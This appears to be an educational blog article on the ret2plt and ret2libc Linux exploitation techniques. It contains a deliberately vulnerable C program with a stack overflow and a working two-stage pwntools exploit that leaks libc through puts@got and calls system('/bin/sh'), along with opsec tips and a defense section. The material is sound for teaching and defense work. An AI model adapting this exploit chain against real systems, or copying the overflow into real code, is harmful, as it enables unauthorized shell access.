ret2libc and ret2plt in Depth

ret2libc and ret2plt in Depth - article cover image RE & Pwn
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

ret2libc and ret2plt are the two techniques that turn instruction-pointer control into code execution when the stack is non-executable (NX/DEP). Rather than injecting shellcode, the attacker reuses code that is already mapped and already executable: complete functions in the C library for ret2libc, and the process’s own Procedure Linkage Table stubs for ret2plt. The canonical goal is system("/bin/sh"), but the same machinery calls execve, puts, mprotect, or anything else the binary or libc exposes.

The two are complementary rather than competing. ret2plt shines *before* you have any libc address: the PLT is at a fixed location in a non-PIE binary, so you can call imported functions to disclose a libc pointer — classically puts(puts@got) — and thereby defeat ASLR. Once a libc base is known, ret2libc finishes the job by returning into system with a controlled argument. This article dwells on the PLT/GOT internals that make both work and chains them into the standard leak-then-return-to-main exploitation loop with pwntools’ ROP abstraction.

Attack Prerequisites

Both techniques assume you already control the saved return address (typically from a stack overflow) and face NX. Beyond that:

  • A non-PIE binary (or a PIE base leak). ret2plt needs the PLT/GOT at known addresses; a fixed load base (No PIE) gives that for free.
  • Lazy binding / a resolvable import you can leak through — a puts, printf, or write in the PLT to echo a GOT entry and reveal libc.
  • Knowledge of the target libc — the exact build (via the leaked symbol’s low bits, a provided libc.so.6, or a database lookup) so system and the "/bin/sh" string can be located from the base.
  • An argument-loading gadget — on x86-64, a pop rdi; ret to place the first argument in rdi, plus a ret for stack alignment before system.

How It Works

Dynamically linked ELF binaries resolve imported functions lazily through two sections. The PLT (.plt) holds a small stub per import; the GOT (.got.plt) holds a pointer slot per import. The first time puts@plt is called, its stub jumps to *puts@got, which initially points back into the PLT resolver trampoline; the dynamic linker (_dl_runtime_resolve) then computes the real puts address in libc, writes it into puts@got, and jumps there. Every subsequent call reads the now-populated GOT slot and jumps straight to libc. The key consequence for exploitation: after puts has been called once, puts@got contains a live libc address.

ret2plt weaponizes that directly. Because puts@plt is at a fixed address in a non-PIE image and expects its argument in rdi, the chain pop rdi; ret -> &puts@got -> puts@plt prints the contents of puts@got — a libc pointer. Subtracting puts‘s known offset within its libc build yields the libc base, from which every other libc symbol is a fixed displacement. Since a single overflow usually only affords one function call before the stack is exhausted, the chain typically returns into main (or the vulnerable function) afterward, giving a second overflow with libc now de-randomized.

ret2libc is the second stage. With the libc base known, system and the "/bin/sh" string (which is a literal inside libc) are both computable. The chain becomes pop rdi; ret -> &"/bin/sh" -> ret (alignment) -> system. The lone ret before system matters on modern glibc: several libc functions use SSE instructions such as movaps that fault unless rsp is 16-byte aligned at the call, and one extra ret fixes the alignment.

There is also a GOT-overwrite variant of ret2plt worth knowing. Under Partial RELRO the GOT is writable, so instead of leaking you can overwrite a GOT entry for a function the program is about to call — for example writing the address of system into strlen@got when the program later does strlen(user_input) with user_input under your control. That converts an otherwise benign call into system(user_input). It still requires knowing where system is, so in practice it is combined with the same leak, but it is a useful redirection primitive when the natural control-flow of the program hands you a call with an attacker-controlled first argument.

Identifying the exact libc build from a single leak is the step that most often trips people up. The bottom 12 bits of any libc symbol are a fixed page offset that does not change with ASLR, so a leaked puts address gives you puts‘s page offset directly; feeding that offset (and ideally a second leaked symbol) into a libc-identification database such as the libc-database project or an online equivalent narrows the candidate builds to usually one. Get the build wrong and every subsequent offset — system, "/bin/sh", one-gadgets — is off, so validating the libc before firing the second stage is essential.

Vulnerable Code / Setup

A minimal non-PIE overflow with a puts import to leak through — everything ret2plt -> ret2libc needs and nothing more:

// gcc -fno-stack-protector -no-pie -o r2l r2l.c
#include <stdio.h>
#include <unistd.h>
void vuln(void){
    char buf[64];
    read(0, buf, 512);      // BUG: 512 bytes into buf[64]
}
int main(void){ setvbuf(stdout,0,2,0); vuln(); return 0; }
C

checksec shows the enabling conditions: no canary to satisfy, NX on (so shellcode is out), and No PIE so the PLT/GOT are at fixed addresses. Partial RELRO leaves .got.plt lazily bound, which is what makes the GOT entry hold a resolvable libc pointer to leak:

$ checksec --file=./r2l
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
TEXT

Walkthrough / Exploitation

Stage 1 — leak libc via ret2plt and return to main. pwntools’ ROP object finds gadgets and resolves plt/got symbols from the ELF. Build a chain that prints puts@got and then re-enters main:

from pwn import *
context.binary = elf = ELF('./r2l')
io = process('./r2l')

OFF = 64 + 8                       # buffer + saved rbp
rop = ROP(elf)
rop.raw(b'A' * OFF)
rop.puts(elf.got['puts'])         # puts(&puts@got): ret2plt leak
rop.main()                        # return to main for a second overflow
io.send(rop.chain())

leak = u64(io.recvline().strip().ljust(8, b'\x00'))
log.success(f'puts@libc = {leak:#x}')
Python

Resolve the libc base from the leak. In a real engagement you identify the exact build from the leak’s low 12 bits (page offset is invariant) against a libc database, or use a provided libc.so.6. Here we use a known library file:

libc = ELF('./libc.so.6')          # the target's libc build
libc.address = leak - libc.sym['puts']   # rebase every libc symbol
log.success(f'libc base = {libc.address:#x}')
Python

Stage 2 — ret2libc into system(“/bin/sh”). With libc rebased, libc.sym['system'] and the "/bin/sh" string are concrete. Send the second overflow; note the explicit ret for 16-byte stack alignment before system:

rop2 = ROP(libc)
binsh = next(libc.search(b'/bin/sh\x00'))
rop2.raw(b'A' * OFF)
rop2.raw(rop2.ret[0])              # alignment: ensure movaps-safe rsp
rop2.system(binsh)                 # sets rdi=binsh via pop rdi; ret, calls system
io.send(rop2.chain())
io.interactive()                   # $ id; cat flag
Python

The rop.system(binsh) call expands to exactly the hand-built chain pop rdi; ret -> binsh -> system; pwntools locates the pop rdi gadget and orders the stack for you. If no pop rdi; ret exists in the binary itself, libc almost always provides one, and if arguments beyond rdi are needed the ret2csu universal gadget (covered separately) supplies rsi/rdx.

Note: Under Full RELRO the GOT is mapped read-only and fully bound at startup, so ret2plt-style GOT overwrites are impossible — but *reading* a GOT entry to leak libc still works, because the slot is still populated with a live libc pointer. Full RELRO breaks GOT-hijack and ret2dlresolve, not the leak-then-ret2libc flow shown here.

Opsec: The return-to-main loop causes the process to run its startup path twice; on a forking server, prefer leaking and pivoting within a single connection if the overflow is large enough to hold both stages. A wrong libc guess sends system to garbage and crashes the child — validate the libc build from the leak before committing the second stage.

Detection and Defense

These techniques are enabled by fixed addresses and lazy binding; remove those and the difficulty rises sharply:

  • Build position-independent (-pie -fPIE) and enable ASLR so the PLT and binary gadgets are no longer at predictable addresses without a separate leak.
  • Full RELRO (-Wl,-z,relro,-z,now) maps the GOT read-only after binding, killing GOT overwrites and lazy-resolution abuse.
  • Stack canaries and fortified source to stop the overflow that provides IP control in the first place.
  • CFI / shadow stacks (Intel CET, -fcf-protection, shadow-stack-enabled kernels) which detect returns to non-call-preceded targets and unbalanced returns typical of ROP.
  • Monitor for anomalous execve("/bin/sh") from network-facing services via auditd/EDR — a shell spawned by a daemon that never legitimately execs one is a strong post-exploitation signal.

Real-World Impact

Return-into-libc predates and underpins the whole return-oriented ecosystem: it was the original answer to non-executable stacks, and system("/bin/sh") remains the fastest path from IP control to a shell in countless CTF and real-world Linux exploits. The ret2plt leak-then-ret2libc pattern is the default opening move against any non-PIE, Partial-RELRO Linux target, precisely because so much deployed software is still built that way. The enduring lesson is that NX alone is not a boundary — without ASLR, PIE, and full RELRO layered on top, a single overflow in a dynamically linked program is reliably a shell.

Conclusion

ret2plt and ret2libc are two halves of one workflow: use the fixed PLT to leak a live libc pointer out of the GOT, rebase libc, then return into system with "/bin/sh" in rdi. Understanding the PLT/GOT lazy-binding mechanism is what makes the leak obvious rather than magical, and pwntools’ ROP object turns the whole chain into a few readable lines. Defenses exist and work — PIE, full RELRO, canaries, CET — but only when actually enabled, which is exactly why this pair remains the bread-and-butter of Linux userland exploitation.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL